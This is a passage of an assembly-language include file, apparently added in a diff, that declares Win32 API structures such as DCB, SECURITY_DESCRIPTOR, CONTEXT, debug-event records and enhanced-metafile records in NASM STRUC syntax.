+ENDSTRUC + +STRUC COMSTAT +.fCtsHold RESD 1 +.fDsrHold RESD 1 +.fRlsdHold RESD 1 +.fXoffHold RESD 1 +.fXoffSent RESD 1 +.fEof RESD 1 +.fTxim RESD 1 +.fReserved RESD 1 +.cbInQue RESD 1 +.cbOutQue RESD 1 +ENDSTRUC + +STRUC DCB +.DCBlength RESD 1 +.BaudRate RESD 1 +.fbits RESD 1 +.wReserved RESW 1 +.XonLim RESW 1 +.XoffLim RESW 1 +.ByteSize RESB 1 +.Parity RESB 1 +.StopBits RESB 1 +.XonChar RESB 1 +.XoffChar RESB 1 +.ErrorChar RESB 1 +.EofChar RESB 1 +.EvtChar RESB 1 +ENDSTRUC + +STRUC COMMTIMEOUTS +.ReadIntervalTimeout RESD 1 +.ReadTotalTimeoutMultiplier RESD 1 +.ReadTotalTimeoutConstant RESD 1 +.WriteTotalTimeoutMultiplier RESD 1 +.WriteTotalTimeoutConstant RESD 1 +ENDSTRUC + +STRUC SYSTEM_INFO +.dwOemID RESD 1 +.dwPageSize RESD 1 +.lpMinimumApplicationAddress RESD 1 +.lpMaximumApplicationAddress RESD 1 +.dwActiveProcessorMask RESD 1 +.dwNumberOrfProcessors RESD 1 +.dwProcessorType RESD 1 +.dwAllocationGranularity RESD 1 +.wProcessorLevel RESW 1 +.wProcessorRevision RESW 1 +ENDSTRUC + +STRUC MEMORYSTATUS +.dwiLength RESD 1 +.dwMemoryLoad RESD 1 +.dwTotalPhys RESD 1 +.dwAvailPhys RESD 1 +.dwTotalPageFile RESD 1 +.dwAvailPageFile RESD 1 +.dwTotalVirtual RESD 1 +.dwAvailVirtual RESD 1 +ENDSTRUC + +STRUC TPMPARAMS +.cbSize RESD 1 +.rcExclude RESB RECT_size +ENDSTRUC + +STRUC GENERIC_MAPPING +.GenericRead RESD 1 +.GenericWrite RESD 1 +.GenericExecute RESD 1 +.GenericAll RESD 1 +ENDSTRUC + +STRUC LUID +.LowPart RESD 1 +.HighPart RESD 1 +ENDSTRUC + +STRUC LUID_AND_ATTRIBUTES +.pLuid RESD 1 +.Attributes RESD 1 +ENDSTRUC + +STRUC ACL +.AclRevision RESB 1 +.Sbz1 RESB 1 +.AclSize RESW 1 +.AceCount RESW 1 +.Sbz2 RESW 1 +ENDSTRUC + +STRUC ACE_HEADER +.AceType RESB 1 +.AceFlags RESB 1 +.AceSize RESD 1 +ENDSTRUC + +STRUC ACCESS_ALLOWED_ACE +.Header RESD 1 +.imask RESD 1 +.SidStart RESD 1 +ENDSTRUC + +STRUC ACCESS_DENIED_ACE +.Header RESD 1 +.imask RESD 1 +.SidStart RESD 1 +ENDSTRUC + +STRUC SYSTEM_AUDIT_ACE +.Header RESD 1 +.imask RESD 1 +.SidStart RESD 1 +ENDSTRUC + +STRUC SYSTEM_ALARM_ACE +.Header RESD 1 +.imask RESD 1 +.SidStart RESD 1 +ENDSTRUC + +STRUC ACL_REVISION_INFORMATION +.AclRevision RESD 1 +ENDSTRUC + +STRUC ACL_SIZE_INFORMATION +.AceCount RESD 1 +.AclBytesInUse RESD 1 +.AclBytesFree RESD 1 +ENDSTRUC + +STRUC SECURITY_DESCRIPTOR +.Revision RESB 1 +.Sbz1 RESB 1 +.Control RESD 1 +.Owner RESD 1 +.lGroup RESD 1 +.Sacl RESD 1 +.Dacl RESD 1 +ENDSTRUC + +STRUC PRIVILEGE_SET +.PrivilegeCount RESD 1 +.Control RESD 1 +.Privilege RESD 1 +ENDSTRUC + +STRUC EXCEPTION_RECORD +.ExceptionCode RESD 1 +.ExceptionFlags RESD 1 +.pExceptionRecord RESD 1 +.ExceptionAddress RESD 1 +.NumberParameters RESD 1 +.ExceptionInformation RESD 1 +ENDSTRUC + +STRUC EXCEPTION_DEBUG_INFO +.pExceptionRecord RESD 1 +.dwFirstChance RESD 1 +ENDSTRUC + +STRUC CREATE_THREAD_DEBUG_INFO +.hThread RESD 1 +.lpThreadLocalBase RESD 1 +.lpStartAddress RESD 1 +ENDSTRUC + +STRUC CREATE_PROCESS_DEBUG_INFO +.hFile RESD 1 +.hProcess RESD 1 +.hThread RESD 1 +.lpBaseOfImage RESD 1 +.dwDebugInfoFileOffset RESD 1 +.nDebugInfoSize RESD 1 +.lpThreadLocalBase RESD 1 +.lpStartAddress RESD 1 +.lpImageName RESD 1 +.fUnicode RESD 1 +ENDSTRUC + +STRUC EXIT_THREAD_DEBUG_INFO +.dwExitCode RESD 1 +ENDSTRUC + +STRUC EXIT_PROCESS_DEBUG_INFO +.dwExitCode RESD 1 +ENDSTRUC + +STRUC LOAD_DLL_DEBUG_INFO +.hFile RESD 1 +.lpBaseOfDll RESD 1 +.dwDebugInfoFileOffset RESD 1 +.nDebugInfoSize RESD 1 +.lpImageName RESD 1 +.fUnicode RESW 1 +ENDSTRUC + +STRUC UNLOAD_DLL_DEBUG_INFO +.lpBaseOfDll RESD 1 +ENDSTRUC + +STRUC OUTPUT_DEBUG_STRING_INFO +.lpDebugStringData RESD 1 +.fUnicode RESW 1 +.nDebugStringiLength RESW 1 +ENDSTRUC + +STRUC RIP_INFO +.dwError RESD 1 +.dwType RESD 1 +ENDSTRUC + +STRUC OFSTRUCT +.cBytes RESB 1 +.fFixedDisk RESB 1 +.nErrCode RESW 1 +.Reserved1 RESW 1 +.Reserved2 RESW 1 +.szPathName RESB 1 +ENDSTRUC + +STRUC WNDCLASSEX +.cbSize RESD 1 +.style RESD 1 +.lpfnWndProc RESD 1 +.cbClsExtra RESD 1 +.cbWndExtra RESD 1 +.hInstance RESD 1 +.hIcon RESD 1 +.hCursor RESD 1 +.hbrBackground RESD 1 +.lpszMenuName RESD 1 +.lpszClassName RESD 1 +.hIconSm RESD 1 +ENDSTRUC + +STRUC WNDCLASS +.style RESD 1 +.lpfnWndProc RESD 1 +.cbClsExtra RESD 1 +.cbWndExtra RESD 1 +.hInstance RESD 1 +.hIcon RESD 1 +.hCursor RESD 1 +.hbrBackground RESD 1 +.lpszMenuName RESD 1 +.lpszClassName RESD 1 +ENDSTRUC + +STRUC CRITICAL_SECTION +.Par1 RESD 1 +.Par2 RESD 1 +.Par3 RESD 1 +.Par4 RESD 1 +.Par5 RESD 1 +.Par6 RESD 1 +ENDSTRUC + +STRUC BY_HANDLE_FILE_INFORMATION +.dwFileAttributes RESD 1 +.ftCreationTime RESB FILETIME_size +.ftLastAccessTime RESB FILETIME_size +.ftLastWriteTime RESB FILETIME_size +.dwVolumeSerialNumber RESD 1 +.nFileSizeHigh RESD 1 +.nFileSizeLow RESD 1 +.nNumberOfLinks RESD 1 +.nFileIndexHigh RESD 1 +.nFileIndexLow RESD 1 +ENDSTRUC + +STRUC MEMORY_BASIC_INFORMATION +.BaseAddress RESD 1 +.AllocationBase RESD 1 +.AllocationProtect RESD 1 +.RegionSize RESD 1 +.State RESD 1 +.Protect RESD 1 +.lType RESD 1 +ENDSTRUC + +STRUC EVENTLOGRECORD +.iLength RESD 1 +.Reserved RESD 1 +.RecordNumber RESD 1 +.TimeGenerated RESD 1 +.TimeWritten RESD 1 +.EventID RESD 1 +.EventType RESW 1 +.NumStrings RESW 1 +.EventCategory RESW 1 +.ReservedFlags RESW 1 +.ClosingRecordNumber RESD 1 +.StringOffset RESD 1 +.UserSidiLength RESD 1 +.UserSidOffset RESD 1 +.DataiLength RESD 1 +.DataOffset RESD 1 +ENDSTRUC + +STRUC TOKEN_GROUPS +.GroupCount RESD 1 +.Groups RESD 1 +ENDSTRUC + +STRUC TOKEN_PRIVILEGES +.PrivilegeCount RESD 1 +.Privileges RESD 1 +ENDSTRUC + +STRUC FLOATING_SAVE_AREA +.ControlWord RESD 1 +.StatusWord RESD 1 +.TagWord RESD 1 +.ErrorOffset RESD 1 +.ErrorSelector RESD 1 +.DataOffset RESD 1 +.DataSelector RESD 1 +.RegisterArea RESB 1 +.Cr0NpxState RESD 1 +ENDSTRUC + +STRUC CONTEXT +.ContextFlags RESD 1 +.iDr0 RESD 1 +.iDr1 RESD 1 +.iDr2 RESD 1 +.iDr3 RESD 1 +.iDr6 RESD 1 +.iDr7 RESD 1 +.FloatSave RESD 1 +.regGs RESD 1 +.regFs RESD 1 +.regEs RESD 1 +.regDs RESD 1 +.regEdi RESD 1 +.regEsi RESD 1 +.regEbx RESD 1 +.regEdx RESD 1 +.regEcx RESD 1 +.regEax RESD 1 +.regEbp RESD 1 +.regEip RESD 1 +.regCs RESD 1 +.regFlag RESD 1 +.regEsp RESD 1 +.regSs RESD 1 +ENDSTRUC + +STRUC EXCEPTION_POINTERS +.pExceptionRecord RESD 1 +.ContextRecord RESD 1 +ENDSTRUC + +STRUC LDT_BYTES +.BaseMid RESB 1 +.Flags1 RESB 1 +.Flags2 RESB 1 +.BaseHi RESB 1 +ENDSTRUC + +STRUC LDT_ENTRY +.LimitLow RESW 1 +.BaseLow RESW 1 +.HiWord RESD 1 +ENDSTRUC + +STRUC TIME_ZONE_INFORMATION +.Bias RESD 1 +.StandardName RESW 1 +.StandardDate RESD 1 +.StandardBias RESD 1 +.DaylightName RESW 1 +.DaylightDate RESD 1 +.DaylightBias RESD 1 +ENDSTRUC + +STRUC WIN32_STREAM_ID +.dwStreamID RESD 1 +.dwStreamAttributes RESD 1 +.dwStreamSizeLow RESD 1 +.dwStreamSizeHigh RESD 1 +.dwStreamNameSize RESD 1 +.cStreamName RESB 1 +ENDSTRUC + +STRUC STARTUPINFO +.cb RESD 1 +.lpReserved RESD 1 +.lpDesktop RESD 1 +.lpTitle RESD 1 +.dwX RESD 1 +.dwY RESD 1 +.dwXSize RESD 1 +.dwYSize RESD 1 +.dwXCountChars RESD 1 +.dwYCountChars RESD 1 +.dwFillAttribute RESD 1 +.dwFlags RESD 1 +.wShowWindow RESW 1 +.cbReserved2 RESW 1 +.lpReserved2 RESB 1 +.hStdInput RESD 1 +.hStdOutput RESD 1 +.hStdError RESD 1 +ENDSTRUC + +STRUC WIN32_FIND_DATA +.dwFileAttributes RESD 1 +.ftCreationTime RESB FILETIME_size +.ftLastAccessTime RESB FILETIME_size +.ftLastWriteTime RESB FILETIME_size +.nFileSizeHigh RESD 1 +.nFileSizeLow RESD 1 +.dwReserved0 RESD 1 +.dwReserved1 RESD 1 +.cFileName RESB MAX_PATH +.cAlternate RESB 14 +ENDSTRUC + +STRUC CPINFO +.MaxCharSize RESD 1 +.DefaultChar RESB 1 +.LeadByte RESB 1 +ENDSTRUC + +STRUC NUMBERFMT +.NumDigits RESD 1 +.LeadingZero RESD 1 +.Grouping RESD 1 +.lpDecimalSep RESD 1 +.lpThousandSep RESD 1 +.NegativeOrder RESD 1 +ENDSTRUC + +STRUC CURRENCYFMT +.NumDigits RESD 1 +.LeadingZero RESD 1 +.Grouping RESD 1 +.lpDecimalSep RESD 1 +.lpThousandSep RESD 1 +.NegativeOrder RESD 1 +.PositiveOrder RESD 1 +.lpCurrencySymbol RESD 1 +ENDSTRUC + +STRUC COORD +.x RESW 1 +.y RESW 1 +ENDSTRUC + +STRUC SMALL_RECT +.left RESW 1 +.top RESW 1 +.right RESW 1 +.bottom RESW 1 +ENDSTRUC + +STRUC KEY_EVENT_RECORD +.bKeyDown RESD 1 +.wRepeatCount RESW 1 +.wVirtualKeyCode RESW 1 +.wVirtualScanCode RESW 1 +.uChar RESW 1 +.dwControlKeyState RESD 1 +ENDSTRUC + +STRUC MOUSE_EVENT_RECORD +.dwMousePosition RESD 1 +.dwButtonState RESD 1 +.dwControlKeyState RESD 1 +.dwEventFlags RESD 1 +ENDSTRUC + +STRUC WINDOW_BUFFER_SIZE_RECORD +.dwSize RESD 1 +ENDSTRUC + +STRUC MENU_EVENT_RECORD +.dwCommandId RESD 1 +ENDSTRUC + +STRUC FOCUS_EVENT_RECORD +.bSetFocus RESD 1 +ENDSTRUC + +STRUC CHAR_INFO +.Char RESW 1 +.Attributes RESW 1 +ENDSTRUC + +STRUC CONSOLE_SCREEN_BUFFER_INFO +.dwSize RESD 1 +.dwCursorPosition RESD 1 +.wAttributes RESW 1 +.srWindow RESB SMALL_RECT_size +.dwMaximumWindowSize RESD 1 +ENDSTRUC + +STRUC CONSOLE_CURSOR_INFO +.dwSize RESD 1 +.bVisible RESD 1 +ENDSTRUC + +STRUC XFORM +.eM11 RESQ 1 +.eM12 RESQ 1 +.eM21 RESQ 1 +.eM22 RESQ 1 +.ex RESQ 1 +.ey RESQ 1 +ENDSTRUC + +STRUC BITMAP +.bmType RESD 1 +.bmWidth RESD 1 +.bmHeight RESD 1 +.bmWidthBytes RESD 1 +.bmPlanes RESW 1 +.bmBitsPixel RESW 1 +.bmBits RESD 1 +ENDSTRUC + +STRUC RGBTRIPLE +.rgbtBlue RESB 1 +.rgbtGreen RESB 1 +.rgbtRed RESB 1 +ENDSTRUC + +STRUC RGBQUAD +.rgbBlue RESB 1 +.rgbGreen RESB 1 +.rgbRed RESB 1 +.rgbReserved RESB 1 +ENDSTRUC + +STRUC BITMAPCOREHEADER +.bcSize RESD 1 +.bcWidth RESW 1 +.bcHeight RESW 1 +.bcPlanes RESW 1 +.bcBitCount RESW 1 +ENDSTRUC + +STRUC BITMAPINFOHEADER +.biSize RESD 1 +.biWidth RESD 1 +.biHeight RESD 1 +.biPlanes RESW 1 +.biBitCount RESW 1 +.biCompression RESD 1 +.biSizeImage RESD 1 +.biXPelsPerMeter RESD 1 +.biYPelsPerMeter RESD 1 +.biClrUsed RESD 1 +.biClrImportant RESD 1 +ENDSTRUC + +STRUC BITMAPINFO +.bmiHeader RESD 1 +.bmiColors RESD 1 +ENDSTRUC + +STRUC BITMAPCOREINFO +.bmciHeader RESD 1 +.bmciColors RESD 1 +ENDSTRUC + +STRUC BITMAPFILEHEADER +.bfType RESW 1 +.bfSize RESD 1 +.bfReserved1 RESW 1 +.bfReserved2 RESW 1 +.bfOffBits RESD 1 +ENDSTRUC + +STRUC HANDLETABLE +.objectHandle RESD 1 +ENDSTRUC + +STRUC METARECORD +.rdSize RESD 1 +.rdFunction RESW 1 +.rdParm1 RESW 1 +ENDSTRUC + +STRUC METAFILEPICT +.imm RESD 1 +.xExt RESD 1 +.yExt RESD 1 +.hMF RESD 1 +ENDSTRUC + +STRUC METAHEADER +.mtType RESW 1 +.mtHeaderSize RESW 1 +.mtVersion RESW 1 +.mtSize RESD 1 +.mtNoObjects RESW 1 +.mtMaxRecord RESD 1 +.mtNoParameters RESW 1 +ENDSTRUC + +STRUC ENHMETARECORD +.iType RESD 1 +.nSize RESD 1 +.dParm1 RESD 1 +ENDSTRUC + +STRUC ENHMETAHEADER +.iType RESD 1 +.nSize RESD 1 +.rclBounds RESB RECT_size +.rclFrame RESB RECT_size +.dSignature RESD 1 +.nVersion RESD 1 +.nBytes RESD 1 +.nRecords RESD 1 +.nHandles RESW 1 +.sReserved RESW 1 +.nDescription RESD 1 +.offDescription RESD 1 +.nPalEntries RESD 1 +.szlDevice RESD 1 +.szlMillimeters RESD 1 +ENDSTRUC + +STRUC TEXTMETRIC +.tmHeight RESD 1 +.tmAscent RESD 1 +.tmDescent RESD 1 +.tmInternalLeading RESD 1 +.tmExternalLeading RESD 1 +.tmAveCharWidth RESD 1 +.tmMaxCharWidth RESD 1 +.tmWeight RESD 1 +.tmOverhang RESD 1 +.tmDigitizedAspectX RESD 1 +.tmDigitizedAspectY RESD 1 +.tmFirstChar RESB 1 +.tmLastChar RESB 1 +.tmDefaultChar RESB 1 +.tmBreakChar RESB 1 +.tmItalic RESB 1 +.tmUnderlined RESB 1 +.tmStruckOut RESB 1 +.tmPitchAndFamily RESB 1 +.tmCharSet RESB 1 +ENDSTRUC + +STRUC NEWTEXTMETRIC +.tmHeight RESD 1 +.tmAscent RESD 1 +.tmDescent RESD 1 +.tmInternalLeading RESD 1 +.tmExternalLeading RESD 1 +.tmAveCharWidth RESD 1 +.tmMaxCharWidth RESD 1 +.tmWeight RESD 1 +.tmOverhang RESD 1 +.tmDigitizedAspectX RESD 1 +.tmDigitizedAspectY RESD 1 +.tmFirstChar RESB 1 +.tmLastChar RESB 1 +.tmDefaultChar RESB 1 +.tmBreakChar RESB 1 +.tmItalic RESB 1 +.tmUnderlined RESB 1 +.tmStruckOut RESB 1 +.tmPitchAndFamily RESB 1 +.tmCharSet RESB 1 +.ntmFlags RESD 1 +.ntmSizeEM RESD 1 +.ntmCellHeight RESD 1 +.ntmAveWidth RESD 1 +ENDSTRUC + +STRUC PELARRAY +.paXCount RESD 1 +.paYCount RESD 1 +.paXExt RESD 1 +.paYExt RESD 1 +.paRGBs RESW 1 +ENDSTRUC + +STRUC LOGBRUSH +.lbStyle RESD 1 +.lbColor RESD 1 +.lbHatch RESD 1 +ENDSTRUC + +STRUC LOGPEN +.lopnStyle RESD 1 +.lopnWidth RESD 1 +.lopnColor RESD 1 +ENDSTRUC + +STRUC EXTLOGPEN +.elpPenStyle RESD 1 +.elpWidth RESD 1 +.elpBrushStyle RESD 1 +.elpColor RESD 1 +.elpHatch RESD 1 +.elpNumEntries RESD 1 +.elpStyleEntry RESD 1 +ENDSTRUC + +STRUC PALETTEENTRY +.peRed RESB 1 +.peGreen RESB 1 +.peBlue RESB 1 +.peFlags RESB 1 +ENDSTRUC + +STRUC LOGPALETTE +.palVersion RESW 1 +.palNumEntries RESW 1 +.palPalEntry RESD 1 +ENDSTRUC + +STRUC LOGFONT +.lfHeight RESD 1 +.lfWidth RESD 1 +.lfEscapement RESD 1 +.lfOrientation RESD 1 +.lfWeight RESD 1 +.lfItalic RESB 1 +.lfUnderline RESB 1 +.lfStrikeOut RESB 1 +.lfCharSet RESB 1 +.lfOutPrecision RESB 1 +.lfClipPrecision RESB 1 +.lfQuality RESB 1 +.lfPitchAndFamily RESB 1 +.lfFaceName RESB LF_FACESIZE +ENDSTRUC + +STRUC NONCLIENTMETRICS +.cbSize RESD 1 +.iBorderWidth RESD 1 +.iScrollWidth RESD 1 +.iScrollHeight RESD 1 +.iCaptionWidth RESD 1 +.iCaptionHeight RESD 1 +.lfCaptionFont RESD 1 +.iSMCaptionWidth RESD 1 +.iSMCaptionHeight RESD 1 +.lfSMCaptionFont RESD 1 +.iMenuWidth RESD 1 +.iMenuHeight RESD 1 +.lfMenuFont RESD 1 +.lfStatusFont RESD 1 +.lfMessageFont RESD 1 +ENDSTRUC + +STRUC ENUMLOGFONT +.elfLogFont RESD 1 +.elfFullName RESB 1 +.elfStyle RESB 1 +ENDSTRUC + +STRUC PANOSE +.ulculture RESD 1 +.bFamilyType RESB 1 +.bSerifStyle RESB 1 +.bWeight RESB 1 +.bProportion RESB 1 +.bContrast RESB 1 +.bStrokeVariation RESB 1 +.bArmStyle RESB 1 +.bLetterform RESB 1 +.bMidline RESB 1 +.bXHeight RESB 1 +ENDSTRUC + +STRUC EXTLOGFONT +.elfLogFont RESD 1 +.elfFullName RESB 1 +.elfStyle RESB 1 +.elfVersion RESD 1 +.elfStyleSize RESD 1 +.elfMatch RESD 1 +.elfReserved RESD 1 +.elfVendorId RESB 1 +.elfCulture RESD 1 +.elfPanose RESD 1 +ENDSTRUC + +STRUC DEVMODE +.dmDeviceName RESB 1 +.dmSpecVersion RESW 1 +.dmDriverVersion RESW 1 +.dmSize RESW 1 +.dmDriverExtra RESW 1 +.dmFields RESD 1 +.dmOrientation RESW 1 +.dmPaperSize RESW 1 +.dmPaperiLength RESW 1 +.dmPaperWidth RESW 1 +.dmScale RESW 1 +.dmCopies RESW 1 +.dmDefaultSource RESW 1 +.dmPrintQuality RESW 1 +.dmColor RESW 1 +.dmDuplex RESW 1 +.dmYResolution RESW 1 +.dmTTOption RESW 1 +.dmCollate RESW 1 +.dmFormName RESB CCHFORMNAME +.dmUnusedPadding RESW 1 +.dmBitsPerPel RESW 1 +.dmPelsWidth RESD 1 +.dmPelsHeight RESD 1 +.dmDisplayFlags RESD 1 +.dmDisplayFrequency RESD 1 +ENDSTRUC + +STRUC RGNDATAHEADER +.dwSize RESD 1 +.iType RESD 1 +.nCount RESD 1 +.nRgnSize RESD 1 +.rcBound RESB RECT_size +ENDSTRUC + +STRUC RGNDATA +.rdh RESD 1 +.Buffer RESB 1 +ENDSTRUC + +STRUC ABC +.abcA RESD 1 +.abcB RESD 1 +.abcC RESD 1 +ENDSTRUC + +STRUC ABCFLOAT +.abcfA RESQ 1 +.abcfB RESQ 1 +.abcfC RESQ 1 +ENDSTRUC + +STRUC OUTLINETEXTMETRIC +.otmSize RESD 1 +.otmTextMetrics RESD 1 +.otmFiller RESB 1 +.otmPanoseNumber RESD 1 +.otmfsSelection RESD 1 +.otmfsType RESD 1 +.otmsCharSlopeRise RESD 1 +.otmsCharSlopeRun RESD 1 +.otmItalicAngle RESD 1 +.otmEMSquare RESD 1 +.otmAscent RESD 1 +.otmDescent RESD 1 +.otmLineGap RESD 1 +.otmsCapEmHeight RESD 1 +.otmsXHeight RESD 1 +.otmrcFontBox RESB RECT_size +.otmMacAscent RESD 1 +.otmMacDescent RESD 1 +.otmMacLineGap RESD 1 +.otmusMinimumPPEM RESD 1 +.otmptSubscriptSize RESD 1 +.otmptSubscriptOffset RESD 1 +.otmptSuperscriptSize RESD 1 +.otmptSuperscriptOffset RESD 1 +.otmsStrikeoutSize RESD 1 +.otmsStrikeoutPosition RESD 1 +.otmsUnderscorePosition RESD 1 +.otmsUnderscoreSize RESD 1 +.otmpFamilyName RESD 1 +.otmpFaceName RESD 1 +.otmpStyleName RESD 1 +.otmpFullName RESD 1 +ENDSTRUC + +STRUC POLYTEXT +.x RESD 1 +.y RESD 1 +.n RESD 1 +.lpStr RESD 1 +.uiFlags RESD 1 +.rcl RESB RECT_size +.pdx RESD 1 +ENDSTRUC + +STRUC FIXED +.fract RESW 1 +.Value RESW 1 +ENDSTRUC + +STRUC MAT2 +.eM11 RESD 1 +.eM12 RESD 1 +.eM21 RESD 1 +.eM22 RESD 1 +ENDSTRUC + +STRUC GLYPHMETRICS +.gmBlackBoxX RESD 1 +.gmBlackBoxY RESD 1 +.gmptGlyphOrigin RESD 1 +.gmCellIncX RESW 1 +.gmCellIncY RESW 1 +ENDSTRUC + +STRUC POINTFX +.x RESD 1 +.y RESD 1 +ENDSTRUC + +STRUC TTPOLYCURVE +.wType RESW 1 +.cpfx RESW 1 +.apfx RESD 1 +ENDSTRUC + +STRUC TTPOLYGONHEADER +.cb RESD 1 +.dwType RESD 1 +.pfxStart RESD 1 +ENDSTRUC + +STRUC RASTERIZER_STATUS +.nSize RESW 1 +.wFlags RESW 1 +.nLanguageID RESW 1 +ENDSTRUC + +STRUC COLORADJUSTMENT +.caSize RESW 1 +.caFlags RESW 1 +.caIlluminantIndex RESW 1 +.caRedGamma RESW 1 +.caGreenGamma RESW 1 +.caBlueGamma RESW 1 +.caReferenceBlack RESW 1 +.caReferenceWhite RESW 1 +.caContrast RESW 1 +.caBrightness RESW 1 +.caColorfulness RESW 1 +.caRedGreenTint RESW 1 +ENDSTRUC + +STRUC DOCINFO +.cbSize RESD 1 +.lpszDocName RESD 1 +.lpszOutput RESD 1 +ENDSTRUC + +STRUC KERNINGPAIR +.wFirst RESW 1 +.wSecond RESW 1 +.iKernAmount RESD 1 +ENDSTRUC + +STRUC emr +.iType RESD 1 +.nSize RESD 1 +ENDSTRUC + +STRUC emrtext +.ptlReference RESB POINT_size +.nchars RESD 1 +.offString RESD 1 +.fOptions RESD 1 +.ircl RESD 1 +.offDx RESD 1 +ENDSTRUC + +STRUC EMR +.iType RESD 1 +.nSize RESD 1 +ENDSTRUC + +STRUC EMRABORTPATH +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRBEGINPATH +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRENDPATH +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRCLOSEFIGURE +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRFLATTENPATH +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRWIDENPATH +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRSETMETARGN +.emr RESB EMR_size +ENDSTRUC + +STRUC EMREMRSAVEDC +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRREALIZEPALETTE +.emr RESB EMR_size +ENDSTRUC + +STRUC EMRSELECTCLIPPATH +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETBKMODE +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETMAPMODE +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETPOLYFILLMODE +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETROP2 +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETSTRETCHBLTMODE +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETTEXTALIGN +.emr RESB EMR_size +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETMITERLIMIT +.emr RESB EMR_size +.eMiterLimit RESQ 1 +ENDSTRUC + +STRUC EMRRESTOREDC +.emr RESB EMR_size +.iRelative RESD 1 +ENDSTRUC + +STRUC EMRSETARCDIRECTION +.emr RESB EMR_size +.iArcDirection RESD 1 +ENDSTRUC + +STRUC EMRSETMAPPERFLAGS +.emr RESB EMR_size +.dwFlags RESD 1 +ENDSTRUC + +STRUC EMRSETTEXTCOLOR +.emr RESB EMR_size +.crColor RESD 1 +ENDSTRUC + +STRUC EMRSETBKCOLOR +.emr RESB EMR_size +.crColor RESD 1 +ENDSTRUC + +STRUC EMRSELECTOBJECT +.emr RESB EMR_size +.ihObject RESD 1 +ENDSTRUC + +STRUC EMRDELETEOBJECT +.emr RESB EMR_size +.ihObject RESD 1 +ENDSTRUC + +STRUC EMRSELECTPALETTE +.emr RESB EMR_size +.ihPal RESD 1 +ENDSTRUC + +STRUC EMRRESIZEPALETTE +.emr RESB EMR_size +.ihPal RESD 1 +.cEntries RESD 1 +ENDSTRUC + +STRUC EMRSETPALETTEENTRIES +.emr RESB EMR_size +.ihPal RESD 1 +.iStart RESD 1 +.cEntries RESD 1 +.aPalEntries RESD 1 +ENDSTRUC + +STRUC EMRSETCOLORADJUSTMENT +.emr RESB EMR_size +.ColorAdjustment RESD 1 +ENDSTRUC + +STRUC EMRGDICOMMENT +.emr RESB EMR_size +.cbData RESD 1 +.xData1 RESW 1 +ENDSTRUC + +STRUC EMREOF +.emr RESB EMR_size +.nPalEntries RESD 1 +.offPalEntries RESD 1 +.nSizeLast RESD 1 +ENDSTRUC + +STRUC EMRLINETO +.emr RESB EMR_size +.ptl RESB POINT_size +ENDSTRUC + +STRUC EMRMOVETOEX +.emr RESB EMR_size +.ptl RESB POINT_size +ENDSTRUC + +STRUC EMROFFSETCLIPRGN +.emr RESB EMR_size +.ptlOffset RESB POINT_size +ENDSTRUC + +STRUC EMRFILLPATH +.emr RESB EMR_size +.rclBounds RESB RECT_size +ENDSTRUC + +STRUC EMRSTROKEANDFILLPATH +.emr RESB EMR_size +.rclBounds RESB RECT_size +ENDSTRUC + +STRUC EMRSTROKEPATH +.emr RESB EMR_size +.rclBounds RESB RECT_size +ENDSTRUC + +STRUC EMREXCLUDECLIPRECT +.emr RESB EMR_size +.rclClip RESB RECT_size +ENDSTRUC + +STRUC EMRINTERSECTCLIPRECT +.emr RESB EMR_size +.rclClip RESB RECT_size +ENDSTRUC + +STRUC EMRSETVIEWPORTORGEX +.emr RESB EMR_size +.ptlOrigin RESB POINT_size +ENDSTRUC + +STRUC EMRSETWINDOWORGEX +.emr RESB EMR_size +.ptlOrigin RESB POINT_size +ENDSTRUC + +STRUC EMRSETBRUSHORGEX +.emr RESB EMR_size +.ptlOrigin RESB POINT_size +ENDSTRUC + +STRUC EMRSETVIEWPORTEXTEX +.emr RESB EMR_size +.szlExtent RESD 1 +ENDSTRUC + +STRUC EMRSETWINDOWEXTEX +.emr RESB EMR_size +.szlExtent RESD 1 +ENDSTRUC + +STRUC EMRSCALEVIEWPORTEXTEX +.emr RESB EMR_size +.xNum RESD 1 +.xDenom RESD 1 +.yNum RESD 1 +.yDemon RESD 1 +ENDSTRUC + +STRUC EMRSCALEWINDOWEXTEX +.emr RESB EMR_size +.xNum RESD 1 +.xDenom RESD 1 +.yNum RESD 1 +.yDemon RESD 1 +ENDSTRUC + +STRUC EMRSETWORLDTRANSFORM +.emr RESB EMR_size +.xform RESD 1 +ENDSTRUC + +STRUC EMRMODIFYWORLDTRANSFORM +.emr RESB EMR_size +.xform RESD 1 +.iMode RESD 1 +ENDSTRUC + +STRUC EMRSETPIXELV +.emr RESB EMR_size +.ptlPixel RESB POINT_size +.crColor RESD 1 +ENDSTRUC + +STRUC EMREXTFLOODFILL +.emr RESB EMR_size +.ptlStart RESB POINT_size +.crColor RESD 1 +.iMode RESD 1 +ENDSTRUC + +STRUC EMRELLIPSE +.emr RESB EMR_size +.rclBox RESB RECT_size +ENDSTRUC + +STRUC EMRRECTANGLE +.emr RESB EMR_size +.rclBox RESB RECT_size +ENDSTRUC + +STRUC EMRROUNDRECT +.emr RESB EMR_size +.rclBox RESB RECT_size +.szlCorner RESD 1 +ENDSTRUC + +STRUC EMRARC +.emr RESB EMR_size +.rclBox RESB RECT_size +.ptlStart RESB POINT_size +.ptlEnd RESB POINT_size +ENDSTRUC + +STRUC EMRARCTO +.emr RESB EMR_size +.rclBox RESB RECT_size +.ptlStart RESB POINT_size +.ptlEnd RESB POINT_size +ENDSTRUC + +STRUC EMRCHORD +.emr RESB EMR_size +.rclBox RESB RECT_size +.ptlStart RESB POINT_size +.ptlEnd RESB POINT_size +ENDSTRUC + +STRUC EMRPIE +.emr RESB EMR_size +.rclBox RESB RECT_size +.ptlStart RESB POINT_size +.ptlEnd RESB POINT_size +ENDSTRUC + +STRUC EMRANGLEARC +.emr RESB EMR_size 